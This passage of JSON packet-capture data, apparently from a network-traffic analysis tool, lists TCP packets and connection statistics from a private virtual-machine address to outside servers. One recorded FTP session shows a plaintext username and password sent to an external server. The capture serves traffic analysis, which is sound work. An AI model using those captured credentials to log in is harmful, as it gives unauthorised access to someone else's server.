\"direction\": \"sent\"}, {\"num\": 158, \"time\": 1777473184.87021, \"size\": 250, \"direction\": \"sent\"}, {\"num\": 163, \"time\": 1777473184.920066, \"size\": 54, \"direction\": \"received\"}, {\"num\": 174, \"time\": 1777473238.211732, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 175, \"time\": 1777473238.211946, \"size\": 54, \"direction\": \"received\"}, {\"num\": 185, \"time\": 1777473249.521297, \"size\": 54, \"direction\": \"received\"}, {\"num\": 186, \"time\": 1777473249.52133, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 187, \"time\": 1777473249.802086, \"size\": 66, \"direction\": \"received\"}, {\"num\": 188, \"time\": 1777473249.802133, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 189, \"time\": 1777473249.802235, \"size\": 54, \"direction\": \"received\"}, {\"num\": 190, \"time\": 1777473249.802516, \"size\": 139, \"direction\": \"received\"}, {\"num\": 191, \"time\": 1777473249.802533, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 192, \"time\": 1777473250.386889, \"size\": 250, \"direction\": \"sent\"}, {\"num\": 197, \"time\": 1777473250.438023, \"size\": 54, \"direction\": \"received\"}], \"is_private\": false, \"is_server\": false, \"is_client\": true, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"United States\", \"city\": \"Unknown\", \"lat\": 37.751, \"lon\": -97.822, \"asn\": 53334, \"isp\": \"Total Uptime Technologies, LLC\", \"network\": \"208.95.112.0/21\"}, \"duration\": 264.0036201477051, \"avg_packet_size\": 84.3529411764706, \"packets_per_second\": 0.19317916917755315}];\n        const edges = [{\"source\": \"192.168.122.168\", \"target\": \"4.213.25.240\", \"packet_count\": 18, \"total_bytes\": 3748, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ports\": [49899, 49892], \"dst_ports\": [443], \"first_packet\": 1777472938.193546, \"last_packet\": 1777472962.033117, \"packets\": [{\"packet_number\": 0, \"timestamp\": 1777472938.193546, \"timestamp_iso\": \"2026-04-29T19:58:58.193546\", \"timestamp_human\": \"2026-04-29 19:58:58.193\", \"size\": 153, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46845, \"ip_len\": 139, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49899, \"dst_port\": 443, \"tcp_seq\": 3881783804, \"tcp_ack\": 1692602478, \"tcp_window\": 1029, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 1, \"timestamp\": 1777472938.521026, \"timestamp_iso\": \"2026-04-29T19:58:58.521026\", \"timestamp_human\": \"2026-04-29 19:58:58.521\", \"size\": 153, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46846, \"ip_len\": 139, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49899, \"dst_port\": 443, \"tcp_seq\": 3881783804, \"tcp_ack\": 1692602478, \"tcp_window\": 1029, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 2, \"timestamp\": 1777472939.12722, \"timestamp_iso\": \"2026-04-29T19:58:59.127220\", \"timestamp_human\": \"2026-04-29 19:58:59.127\", \"size\": 153, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46847, \"ip_len\": 139, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49899, \"dst_port\": 443, \"tcp_seq\": 3881783804, \"tcp_ack\": 1692602478, \"tcp_window\": 1029, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 3, \"timestamp\": 1777472940.331285, \"timestamp_iso\": \"2026-04-29T19:59:00.331285\", \"timestamp_human\": \"2026-04-29 19:59:00.331\", \"size\": 153, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46848, \"ip_len\": 139, \"ip_flags\": {\"DF\": false, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49899, \"dst_port\": 443, \"tcp_seq\": 3881783804, \"tcp_ack\": 1692602478, \"tcp_window\": 1029, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 4, \"timestamp\": 1777472940.543456, \"timestamp_iso\": \"2026-04-29T19:59:00.543456\", \"timestamp_human\": \"2026-04-29 19:59:00.543\", \"size\": 302, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46849, \"ip_len\": 288, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49892, \"dst_port\": 443, \"tcp_seq\": 3334411157, \"tcp_ack\": 1369756557, \"tcp_window\": 1028, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 5, \"timestamp\": 1777472940.836897, \"timestamp_iso\": \"2026-04-29T19:59:00.836897\", \"timestamp_human\": \"2026-04-29 19:59:00.836\", \"size\": 302, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46850, \"ip_len\": 288, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49892, \"dst_port\": 443, \"tcp_seq\": 3334411157, \"tcp_ack\": 1369756557, \"tcp_window\": 1028, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 6, \"timestamp\": 1777472941.446243, \"timestamp_iso\": \"2026-04-29T19:59:01.446243\", \"timestamp_human\": \"2026-04-29 19:59:01.446\", \"size\": 302, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46851, \"ip_len\": 288, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49892, \"dst_port\": 443, \"tcp_seq\": 3334411157, \"tcp_ack\": 1369756557, \"tcp_window\": 1028, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 7, \"timestamp\": 1777472941.539992, \"timestamp_iso\": \"2026-04-29T19:59:01.539992\", \"timestamp_human\": \"2026-04-29 19:59:01.539\", \"size\": 153, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46852, \"ip_len\": 139, \"ip_flags\": {\"DF\": false, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49899, \"dst_port\": 443, \"tcp_seq\": 3881783804, \"tcp_ack\": 1692602478, \"tcp_window\": 1029, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 8, \"timestamp\": 1777472942.650424, \"timestamp_iso\": \"2026-04-29T19:59:02.650424\", \"timestamp_human\": \"2026-04-29 19:59:02.650\", \"size\": 302, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46853, \"ip_len\": 288, \"ip_flags\": {\"DF\": false, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49892, \"dst_port\": 443, \"tcp_seq\": 3334411157, \"tcp_ack\": 1369756557, \"tcp_window\": 1028, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 9, \"timestamp\": 1777472942.744187, \"timestamp_iso\": \"2026-04-29T19:59:02.744187\", \"timestamp_human\": \"2026-04-29 19:59:02.744\", \"size\": 153, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46854, \"ip_len\": 139, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49899, \"dst_port\": 443, \"tcp_seq\": 3881783804, \"tcp_ack\": 1692602478, \"tcp_window\": 1029, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 10, \"timestamp\": 1777472943.853568, \"timestamp_iso\": \"2026-04-29T19:59:03.853568\", \"timestamp_human\": \"2026-04-29 19:59:03.853\", \"size\": 302, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46855, \"ip_len\": 288, \"ip_flags\": {\"DF\": false, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49892, \"dst_port\": 443, \"tcp_seq\": 3334411157, \"tcp_ack\": 1369756557, \"tcp_window\": 1028, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 11, \"timestamp\": 1777472945.054065, \"timestamp_iso\": \"2026-04-29T19:59:05.054065\", \"timestamp_human\": \"2026-04-29 19:59:05.054\", \"size\": 302, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46856, \"ip_len\": 288, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49892, \"dst_port\": 443, \"tcp_seq\": 3334411157, \"tcp_ack\": 1369756557, \"tcp_window\": 1028, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 12, \"timestamp\": 1777472945.147772, \"timestamp_iso\": \"2026-04-29T19:59:05.147772\", \"timestamp_human\": \"2026-04-29 19:59:05.147\", \"size\": 153, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46857, \"ip_len\": 139, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49899, \"dst_port\": 443, \"tcp_seq\": 3881783804, \"tcp_ack\": 1692602478, \"tcp_window\": 1029, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 13, \"timestamp\": 1777472947.462651, \"timestamp_iso\": \"2026-04-29T19:59:07.462651\", \"timestamp_human\": \"2026-04-29 19:59:07.462\", \"size\": 302, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46858, \"ip_len\": 288, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49892, \"dst_port\": 443, \"tcp_seq\": 3334411157, \"tcp_ack\": 1369756557, \"tcp_window\": 1028, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 14, \"timestamp\": 1777472950.040923, \"timestamp_iso\": \"2026-04-29T19:59:10.040923\", \"timestamp_human\": \"2026-04-29 19:59:10.040\", \"size\": 153, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46859, \"ip_len\": 139, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49899, \"dst_port\": 443, \"tcp_seq\": 3881783804, \"tcp_ack\": 1692602478, \"tcp_window\": 1029, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 15, \"timestamp\": 1777472952.348924, \"timestamp_iso\": \"2026-04-29T19:59:12.348924\", \"timestamp_human\": \"2026-04-29 19:59:12.348\", \"size\": 302, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46860, \"ip_len\": 288, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49892, \"dst_port\": 443, \"tcp_seq\": 3334411157, \"tcp_ack\": 1369756557, \"tcp_window\": 1028, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 25, \"timestamp\": 1777472959.736234, \"timestamp_iso\": \"2026-04-29T19:59:19.736234\", \"timestamp_human\": \"2026-04-29 19:59:19.736\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46861, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49899, \"dst_port\": 443, \"tcp_seq\": 3881783903, \"tcp_ack\": 1692602478, \"tcp_window\": 0, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": true, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"RST,ACK\"}, {\"packet_number\": 28, \"timestamp\": 1777472962.033117, \"timestamp_iso\": \"2026-04-29T19:59:22.033117\", \"timestamp_human\": \"2026-04-29 19:59:22.033\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46862, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49892, \"dst_port\": 443, \"tcp_seq\": 3334411405, \"tcp_ack\": 1369756557, \"tcp_window\": 0, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": true, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"RST,ACK\"}], \"tcp_flags\": {\"PSH\": 16, \"ACK\": 18, \"RST\": 2}, \"packet_sizes\": [153, 153, 153, 153, 302, 302, 302, 153, 302, 153, 302, 302, 153, 302, 153, 302, 54, 54], \"inter_packet_intervals\": [0.32747983932495117, 0.606194019317627, 1.2040650844573975, 0.21217107772827148, 0.2934408187866211, 0.6093461513519287, 0.0937490463256836, 1.1104319095611572, 0.09376311302185059, 1.1093809604644775, 1.2004969120025635, 0.09370708465576172, 2.3148789405822754, 2.5782721042633057, 2.3080008029937744, 7.387310028076172, 2.2968831062316895], \"connection_type\": \"TCP Data\", \"threat_level\": \"low\", \"duration\": 23.839570999145508, \"avg_packet_size\": 208.22222222222223, \"packets_per_second\": 0.7550471441220642, \"bytes_per_second\": 157.21759423163869, \"min_packet_size\": 54, \"max_packet_size\": 302, \"median_packet_size\": 153, \"avg_interval\": 1.4023277058320887, \"min_interval\": 0.09370708465576172, \"max_interval\": 7.387310028076172}, {\"source\": \"192.168.122.168\", \"target\": \"46.105.59.197\", \"packet_count\": 7, \"total_bytes\": 421, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ports\": [50062], \"dst_ports\": [21], \"first_packet\": 1777472955.473425, \"last_packet\": 1777472969.756012, \"packets\": [{\"packet_number\": 16, \"timestamp\": 1777472955.473425, \"timestamp_iso\": \"2026-04-29T19:59:15.473425\", \"timestamp_human\": \"2026-04-29 19:59:15.473\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"46.105.59.197\", \"ttl\": 128, \"ip_id\": 847, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50062, \"dst_port\": 21, \"tcp_seq\": 941849431, \"tcp_ack\": 0, \"tcp_window\": 64240, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": false, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN\"}, {\"packet_number\": 18, \"timestamp\": 1777472955.490651, \"timestamp_iso\": \"2026-04-29T19:59:15.490651\", \"timestamp_human\": \"2026-04-29 19:59:15.490\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"46.105.59.197\", \"ttl\": 128, \"ip_id\": 848, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50062, \"dst_port\": 21, \"tcp_seq\": 941849432, \"tcp_ack\": 1324414933, \"tcp_window\": 1026, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 20, \"timestamp\": 1777472955.876067, \"timestamp_iso\": \"2026-04-29T19:59:15.876067\", \"timestamp_human\": \"2026-04-29 19:59:15.876\", \"size\": 70, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"46.105.59.197\", \"ttl\": 128, \"ip_id\": 849, \"ip_len\": 56, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50062, \"dst_port\": 21, \"tcp_seq\": 941849432, \"tcp_ack\": 1324415202, \"tcp_window\": 1025, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 16, \"payload_preview\": \"555345522061646d696e5f73796e0d0a\", \"payload_ascii\": \"USER admin_syn\\r\\n\"}, {\"packet_number\": 23, \"timestamp\": 1777472956.258995, \"timestamp_iso\": \"2026-04-29T19:59:16.258995\", \"timestamp_human\": \"2026-04-29 19:59:16.258\", \"size\": 69, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"46.105.59.197\", \"ttl\": 128, \"ip_id\": 850, \"ip_len\": 55, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50062, \"dst_port\": 21, \"tcp_seq\": 941849448, \"tcp_ack\": 1324415244, \"tcp_window\": 1025, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 15, \"payload_preview\": \"5041535320426c61636b3930300d0a\", \"payload_ascii\": \"PASS Black900\\r\\n\"}, {\"packet_number\": 27, \"timestamp\": 1777472961.533084, \"timestamp_iso\": \"2026-04-29T19:59:21.533084\", \"timestamp_human\": \"2026-04-29 19:59:21.533\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"46.105.59.197\", \"ttl\": 128, \"ip_id\": 851, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50062, \"dst_port\": 21, \"tcp_seq\": 941849463, \"tcp_ack\": 1324415277, \"tcp_window\": 1025, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 29, \"timestamp\": 1777472969.755815, \"timestamp_iso\": \"2026-04-29T19:59:29.755815\", \"timestamp_human\": \"2026-04-29 19:59:29.755\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"46.105.59.197\", \"ttl\": 128, \"ip_id\": 852, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50062, \"dst_port\": 21, \"tcp_seq\": 941849463, \"tcp_ack\": 1324415277, \"tcp_window\": 1025, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 31, \"timestamp\": 1777472969.756012, \"timestamp_iso\": \"2026-04-29T19:59:29.756012\", \"timestamp_human\": \"2026-04-29 19:59:29.756\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"46.105.59.197\", \"ttl\": 128, \"ip_id\": 853, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50062, \"dst_port\": 21, \"tcp_seq\": 941849464, \"tcp_ack\": 1324415278, \"tcp_window\": 1025, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}], \"tcp_flags\": {\"SYN\": 1, \"ACK\": 6, \"PSH\": 2, \"FIN\": 1}, \"packet_sizes\": [66, 54, 70, 69, 54, 54, 54], \"inter_packet_intervals\": [0.017225980758666992, 0.38541603088378906, 0.38292813301086426, 5.2740888595581055, 8.222731113433838, 0.00019693374633789062], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 14.282587051391602, \"avg_packet_size\": 60.142857142857146, \"packets_per_second\": 0.4901072876232157, \"bytes_per_second\": 29.47645258419626, \"min_packet_size\": 54, \"max_packet_size\": 70, \"median_packet_size\": 54, \"avg_interval\": 2.3804311752319336, \"min_interval\": 0.00019693374633789062, \"max_interval\": 8.222731113433838}, {\"source\": \"46.105.59.197\", \"target\": \"192.168.122.168\", \"packet_count\": 7, \"total_bytes\": 734, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ports\": [21], \"dst_ports\": [50062], \"first_packet\": 1777472955.473469, \"last_packet\": 1777472969.755913, \"packets\": [{\"packet_number\": 17, \"timestamp\": 1777472955.473469, \"timestamp_iso\": \"2026-04-29T19:59:15.473469\", \"timestamp_human\": \"2026-04-29 19:59:15.473\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"46.105.59.197\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 21, \"dst_port\": 50062, \"tcp_seq\": 1324414932, \"tcp_ack\": 941849432, \"tcp_window\": 42340, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN,ACK\"}, {\"packet_number\": 19, \"timestamp\": 1777472955.823269, \"timestamp_iso\": \"2026-04-29T19:59:15.823269\", \"timestamp_human\": \"2026-04-29 19:59:15.823\", \"size\": 323, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ip\": \"46.105.59.197\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 61378, \"ip_len\": 309, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 21, \"dst_port\": 50062, \"tcp_seq\": 1324414933, \"tcp_ack\": 941849432, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 269, \"payload_preview\": \"3232302d2d2d2d2d2d2d2d2d2d2057656c636f6d6520746f20507572652d46545064205b707269767365705d205b544c535d202d2d2d2d2d2d2d2d2d2d0d0a3232302d596f75206172652075736572206e756d6265722031206f6620353020616c6c6f7765642e0d0a3232302d4c6f63616c2074696d65206973206e6f772031343a32392e2053657276657220706f72743a2032312e0d0a3232302d4950763620636f6e6e656374696f6e732061726520616c736f2077656c636f6d65206f6e2074686973207365727665722e0d0a32323020596f752077696c6c20626520646973636f6e6e6563746564206166746572203135206d696e75746573206f6620696e61637469766974792e0d0a\", \"payload_ascii\": \"220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------\\r\\n220-You are user number 1 of 50 allowed.\\r\\n220-Local time is now 14:29. Server port: 21.\\r\\n220-IPv6 connections are also welcome on this server.\\r\\n220 You will be disconnected after 15 minutes of inactivity.\\r\\n\"}, {\"packet_number\": 21, \"timestamp\": 1777472955.876088, \"timestamp_iso\": \"2026-04-29T19:59:15.876088\", \"timestamp_human\": \"2026-04-29 19:59:15.876\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"46.105.59.197\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 61379, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 21, \"dst_port\": 50062, \"tcp_seq\": 1324415202, \"tcp_ack\": 941849448, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 22, \"timestamp\": 1777472956.221838, \"timestamp_iso\": \"2026-04-29T19:59:16.221838\", \"timestamp_human\": \"2026-04-29 19:59:16.221\", \"size\": 96, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ip\": \"46.105.59.197\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 61380, \"ip_len\": 82, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 21, \"dst_port\": 50062, \"tcp_seq\": 1324415202, \"tcp_ack\": 941849448, \"tcp_window\": 83, \"tcp_dataofs\": 5, 